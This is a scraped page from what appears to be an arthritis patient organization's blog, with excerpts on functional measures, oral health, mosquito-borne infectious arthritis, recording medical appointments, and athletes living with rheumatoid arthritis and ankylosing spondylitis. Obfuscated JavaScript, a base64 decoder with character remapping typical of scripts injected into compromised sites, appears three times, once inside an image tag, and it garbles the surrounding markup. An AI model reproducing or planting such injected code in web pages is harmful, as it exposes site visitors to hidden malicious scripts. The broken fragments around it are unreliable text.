Living your best life with arthritis.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe arthritis patients" rel="bookmark">ACR News: Mobility Matters – Functional measures and arthritis patients

picture for functional measure at ACR

Image courtesy of Ambro at FreeDigitalPhotos.net

Stephanie Studenski, MD, MPH, Chief of the Longitudinal Studies Section at the NIH National Institute on Aging, spoke about the importance of functional measurement in patients with reduced performance due to arthritis problems

As part of ACE’s leadership, along with the Canadian Association for Retired Persons (CARP) and Alzheimer’s Society of BC, in the development and launch of the Walk10Blocks app, we learned walking is good for your health. Research shows that even walking 10 city blocks a day, equivalent to about 2,000 – 3,000 steps or 1 km, can help delay dementia and may help improve cardiovascular and joint health over time.

Today at the ACR/ARHP annual meeting, Stephanie Studenski, MD, MPH, Chief of the Longitudinal Studies Section at the NIH National Institute on Aging, spoke about the importance of functional measurement in patients with reduced performance due to arthritis problems:
“Rheumatology was among the first disciplines to develop functional measures such as the 50-foot walk and grip strength, and in my original training as a rheumatologist, I was struck by how potentially powerful and meaningful these functional measurements are.” She added: “We’ve found that these measures are powerful predictors of overall effect in adults, including risk of hospitalization, length of stay, hospital-related complications, surgery related complications and overall survival.”

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ACE launches first of three new blogs to help you “power up” your arthritis knowledge

ACE launches first of three new blogs to help you “power up” your arthritis knowledge, get more connected to the community, and learn the latest about health policy and politics affecting our group of chronic diseases. 

As Canada’s largest national patient-led organization and provider of evidence-based information and education programming, ACE is always looking for better ways to “power up” Canadians living with arthritis.

As always, we want to know what you think. We encourage you to share feedback and offer topics of interest for future blog posts.

We hope you had a great Arthritis Awareness Month in Canada!

Team ACE


Image of a smile in article about oral health and<script type=function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe arthritis" width="300" height="199" />Is your mouth a gateway to getting arthritis? 

When Health Canada’s Canadian Institutes of Health Research was created in 1994, I, like many, was puzzled that they included oral health along with musculoskeletal health in the research pillar known as the Institute for Musculoskeletal Health and Arthritis (IMHA). After all, what do researchers trying to solve the thousands of mysteries that make up “arthritis”, a group of over 100 different diseases, have to do with teeth. But were they ever smart to do so; the latest research shows the mouth and the joints are definitely connected.

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Viruses transmitted by mosquitos are associated with infectious arthritis

Mosquito warning signage - infectious arthritisViral infections are responsible for approximately 1% of all cases of infectious arthritis. These infections include parvovirus B19, HIV, hepatitis B, hepatitis C, hepatitis E, human T-lymphotrophic virus type-1, and arboviruses. Infectious arthritis can last for hours or days and is marked by pain, heat, rash, redness, and swelling. Some people, particularly the elderly, will experience fever and chills. Most infectious arthritis cases involve only one joint and more than half of these affect the knee. It can also affect the wrists, ankles, shoulders, hips, and spine.

According to Everyday Health, infectious arthritis occurs when germs invade the joint due to:

  • animal or insect bites
  • skin infections
  • injury to the joint
  • bacterial infection during surgery
  • spread from a nearby infection
  • blood stream infection

People with an increased risk of getting infectious arthritis include people who: Continue reading

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,/" title="Permalink to It’s time to see your rheumatologist. Let’s record and take notes!" rel="bookmark">It’s time to see your rheumatologist. Let’s record and take notes!

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A study published in Psychological Science provides two hypotheses as to why note-taking is beneficial in a classroom setting. The first hypothesis is called encoding hypothesis, which says that when a person is taking notes, "the processing that occurs" will improve "learning and retention." The second hypothesis is called the external-storage hypothesis - you learn by being able to look back at your notes, or even the notes of other people.

The same concepts can be applied to your medical appointments and is currently practiced by Dr. James Ryan, a family physician in Ludington, Michigan. With his patients' approval, Dr. Ryan records their appointments, then uploads the audio file to a secure web platform for his patients. The recordings are annotated so that patients can easily search for specific topics in the conversation. Patients will be empowered and engaged in their own healthcare because they will have a reference of what was discussed. They can give family members access to the recordings as well.

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Battling rheumatoid arthritis – American Ninja Warrior style. #WeAreAllAbel

Battling rheumatoid arthritis – American Ninja Warrior style. #WeAreAllAbel

The TV series American Ninja Warrior (ANW) is a show where contestants compete to win the grand prize by finishing an obstacle course requiring strong, agile and determined athleticism. Contestants must have faith that they can conquer any obstacle put in front of them - the same type of faith some have when battling rheumatoid arthritis. In ANW contestant Abel Gonzalez's case, this was true in the literal sense.

Abel grew up in Chicago with a rough childhood. His parents married young and had little financial means. In an interview with EverydayHealth, he said: "My dad was abusive. He sold tires at a flea market to try to help us get by. When I was 10, my mom and dad's fighting escalated." His parents eventually split up and Abel and his brothers were forced to split up. Abel and his brother were sent to live with family members in Texas, while his two younger brothers stayed behind to live with his mother in Chicago.

"I can remember my younger brothers sitting on the steps as Matthew and I drove away for good. It devastated me to be apart from my younger brothers. I was only 10. I thought that maybe I had caused my parents to get divorced," Abel added.

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LA Dodgers’ Franklin Gutierrez Diagnosed with Ankylosing Spondylitis

The Los Angeles Dodgers baseball team has lost one of their outfielders to a form of inflammatory arthritis. Franklin Gutierrez signed with the Dodgers and was diagnosed with ankylosing spondylitis (AS) this year. While Gutierrez is likely acutely aware of the effects of his disease, the media has not provided much information about this more common than a rare form of inflammatory arthritis.baseball player sitting out possibly due to ankylosing spondylitis

The LA Times recently published an article covering the story: "Rare condition sends Dodgers' Franklin Gutierrez to the disabled list". Calling AS a “condition” discredits the fact that inflammatory arthritis is autoimmune in nature – like multiple sclerosis, type I diabetes and lupus – and disables people if not appropriately diagnosed and treated. The Arthritis Foundation states there are roughly 500,000 people in America that live with AS and the back pain associated with it. It also is a type of arthritis that affects men more than women – specifically males in their teens and twenties.

The issue with AS is that it takes on average seven years for men to be appropriately diagnosed; for women, 10 years. Because it strikes young people, symptoms – like chronic pain in the low back, Achilles tendon, and peripheral joints such as knees and in the hands (primarily in women) – are often ignored for years and written off as being “sports injuries” or simply “over doing it”. It is common for people to live with AS for years before they are properly diagnosed.

Gutierrez is one of the lucky few who has intensive treatment consisting of medication, diet, stretching, and massages from the LA Dodgers' staff as stated in the LA Times article; still, this disease has forced him to sit out. Hopefully, more insight into examples like this can bring to light that autoimmune diseases like Gutierrez’s AS are far from rare, and are serious.